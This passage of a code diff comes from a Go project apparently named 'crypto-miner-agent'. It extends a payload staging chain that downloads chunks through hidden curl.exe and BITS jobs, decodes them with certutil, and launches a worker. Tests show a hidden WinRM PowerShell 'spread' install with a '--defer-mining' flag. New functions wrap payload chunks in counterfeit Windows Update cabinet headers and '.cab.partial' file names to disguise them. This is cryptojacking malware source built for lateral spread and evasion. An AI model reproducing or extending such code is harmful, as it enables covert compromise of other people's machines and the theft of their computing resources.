oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = func(url, dest string) error {
return os.ErrPermission
}
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "curl chunk") {
t.Fatalf("err=%v", err)
}
}

View File

@@ -0,0 +1,20 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
)
func TestRunStagingChainWindowsOnlyStub(t *testing.T) {
_, err := RunStagingChain(testRuntimeConfig(), StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "c.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
t.Fatalf("err=%v", err)
}
}

View File

@@ -83,6 +83,10 @@ func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string
return "", err
}
if stagingLaunchFn != nil {
return stagingLaunchFn(dest, manifest)
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
@@ -114,6 +118,9 @@ func downloadChunkCurl(url, dest string) error {
if url == "" {
return fmt.Errorf("chunk url is empty")
}
if stagingDownloadCurlFn != nil {
return stagingDownloadCurlFn(url, dest)
}
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
}
@@ -122,6 +129,9 @@ func downloadChunkBITS(url, dest string) error {
if url == "" {
return fmt.Errorf("chunk url is empty")
}
if stagingDownloadBITSFn != nil {
return stagingDownloadBITSFn(url, dest)
}
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
steps := [][]string{
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
@@ -137,5 +147,8 @@ func downloadChunkBITS(url, dest string) error {
}
func certutilDecode(src, dest string) error {
if stagingCertutilDecodeFn != nil {
return stagingCertutilDecodeFn(src, dest)
}
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
}

View File

@@ -0,0 +1,57 @@
//go:build windows
package deploy
import (
"encoding/base64"
"strings"
"testing"
"unicode/utf16"
)
func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
encoded := encodePowerShell(script)
raw, err := base64.StdEncoding.DecodeString(encoded)
if err != nil {
t.Fatal(err)
}
if len(raw)%2 != 0 {
t.Fatal("utf16le should be even length")
}
runes := make([]rune, len(raw)/2)
for i := 0; i < len(runes); i++ {
runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
}
got := string(runes)
if got != script {
t.Fatalf("round-trip failed: got %q", got)
}
// sanity: matches manual utf16 encode
manual := utf16.Encode([]rune(script))
if len(manual)*2 != len(raw) {
t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
}
}
func TestWinRMSpreadScriptMarkers(t *testing.T) {
script := `
$dest = Join-Path $env:TEMP 'af-worker.exe'
Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
`
encoded := encodePowerShell(script)
for _, marker := range []string{
"Join-Path $env:TEMP",
"--spread-install",
"--defer-mining",
"Start-Process",
} {
if !strings.Contains(script, marker) {
t.Fatalf("script missing %q", marker)
}
}
if encoded == "" || strings.Contains(encoded, " ") {
t.Fatalf("encoded command invalid: %q", encoded)
}
}

View File

@@ -1,6 +1,8 @@
package deploy
import (
"bytes"
"encoding/binary"
"fmt"
"os"
"path/filepath"
@@ -10,6 +12,80 @@ import (
"crypto-miner-agent/config"
)
const (
wsusSSUEnvelopeTag = "AFWSU1\x00"
wsusSSUMetadataSize = 96
)
// WrapSSUHeader prepends a CAB/SSU-like envelope so chunk bytes resemble failed WU cache files.
// Format mimicry only — payload bytes are unchanged after unwrap; SHA256 in the manifest is raw payload.
func WrapSSUHeader(payload []byte) []byte {
meta := make([]byte, wsusSSUMetadataSize)
copy(meta[0:4], "MSCF")
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
binary.LittleEndian.PutUint32(meta[8:12], total)
binary.LittleEndian.PutUint16(meta[16:18], 1)
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
copy(meta[36:44], "SSU2024\x00")
copy(meta[44:52], "WU-CACHE")
copy(meta[80:88], ".partial")
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
out := make([]byte, 0, len(meta)+len(payload))
out = append(out, meta...)
out = append(out, payload...)
return out
}
// AddWrapSSUHeader is the spec alias for WrapSSUHeader.
func AddWrapSSUHeader(payload []byte) []byte {
return WrapSSUHeader(payload)
}
// UnwrapSSUHeader strips the CAB/SSU mimic envelope and returns the embedded payload.
func UnwrapSSUHeader(data []byte) ([]byte, error) {
if len(data) < wsusSSUMetadataSize+1 {
return nil, fmt.Errorf("wsus ssu envelope too short")
}
if !bytes.HasPrefix(data, []byte("MSCF")) {
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
}
tag := []byte(wsusSSUEnvelopeTag)
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
if idx < 0 {
return nil, fmt.Errorf("wsus ssu envelope tag not found")
}
off := idx + len(tag)
if off+4 > wsusSSUMetadataSize {
return nil, fmt.Errorf("wsus ssu envelope length truncated")
}
n := binary.LittleEndian.Uint32(data[off : off+4])
start := wsusSSUMetadataSize
if int(n) < 0 || start+int(n) > len(data) {
return nil, fmt.Errorf("wsus ssu payload length invalid")
}
return data[start : start+int(n)], nil
}
// IsWSUSFormatMimicChunk reports whether a staged chunk filename uses the *.cab.partial pattern.
func IsWSUSFormatMimicChunk(filename string) bool {
return strings.HasSuffix(strings.ToLower(filepath.Base(filename)), ".cab.partial")
}
// WSUSFormatMimicChunkName returns a GUID-like failed-update cache filename for a content hash.
func WSUSFormatMimicChunkName(contentHash string, index int) string {
h := strings.ToLower(strings.TrimSpace(contentHash))
if len(h) < 32 {
h = strings.Repeat("0", 32-len(h)) + h
}
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
if index > 0 {
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
}
return guid + ".cab.partial"
}
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
type WSUSCachePeerManifest struct {
Method string `json:"method"`
@@ -109,15 +185,34 @@ func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePe
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
}
}
chunkPath := localPath
if IsWSUSFormatMimicChunk(name) {
raw, err := os.ReadFile(localPath)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d read: %w", i, err)
}
payload, err := UnwrapSSUHeader(raw)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d unwrap: %w", i, err)
}
unwrappedPath := strings.TrimSuffix(localPath, ".cab.partial") + ".bin"
if err := os.WriteFile(unwrappedPath, payload, 0o600); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d write: %w", i, err)
}
chunkPath = unwrappedPath
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecodePeer(localPath, decoded); err != nil {
decoded := strings.TrimSuffix(chunkPath, filepath.Ext(chunkPath)) + ".bin"
if err := certutilDecodePeer(chunkPath, decoded); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
assembled = append(assembled, chunkPath)
}
}

View File

@@ -1,6 +1,7 @@
package deploy
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"os"
@@ -62,6 +63,87 @@ func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
}
}
func TestWSUSCachePeerRejectsPathTraversal(t *testing.T) {
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: `..\..\outside.exe`,
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
_, _, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDownload, fakeDownload)
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("expected path traversal error, got %v", err)
}
}
func TestWrapSSUHeaderRoundTrip(t *testing.T) {
payload := []byte("wsus-cache-cousin-payload")
wrapped := WrapSSUHeader(payload)
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
t.Fatal("expected MSCF cabinet prefix")
}
if !bytes.Contains(wrapped, []byte("WU-CACHE")) {
t.Fatal("expected WU-CACHE metadata marker")
}
got, err := UnwrapSSUHeader(wrapped)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatalf("unwrap=%q want %q", got, payload)
}
}
func TestWSUSFormatMimicChunkNamePattern(t *testing.T) {
name := WSUSFormatMimicChunkName(strings.Repeat("a", 64), 0)
if !strings.HasSuffix(name, ".cab.partial") {
t.Fatalf("name=%q", name)
}
if strings.Count(name, "-") < 4 {
t.Fatalf("expected GUID-like name, got %q", name)
}
if !IsWSUSFormatMimicChunk(name) {
t.Fatal("IsWSUSFormatMimicChunk should match")
}
}
func TestWSUSCachePeerAssembleFormatMimicRoundTrip(t *testing.T) {
dir := t.TempDir()
payload := []byte("wsus-format-mimic-roundtrip")
wrapped := WrapSSUHeader(payload)
sumForName := sha256.Sum256(payload)
chunkName := WSUSFormatMimicChunkName(hex.EncodeToString(sumForName[:]), 0)
chunkPath := filepath.Join(dir, chunkName)
if err := os.WriteFile(chunkPath, wrapped, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(payload)
destRel := filepath.Join("af-wsus", "worker.exe")
fakeDL := func(url, dest string) error {
return copyFile(chunkPath, dest)
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-mimic"}}
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: chunkName}},
SHA256: hex.EncodeToString(sum[:]),
Dest: destRel,
CacheGroup: "wsus-lan-mimic",
}
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
if err != nil {
t.Fatal(err)
}
defer cleanup()
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
t.Fatal(err)
}
}
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "wsus-0.bin")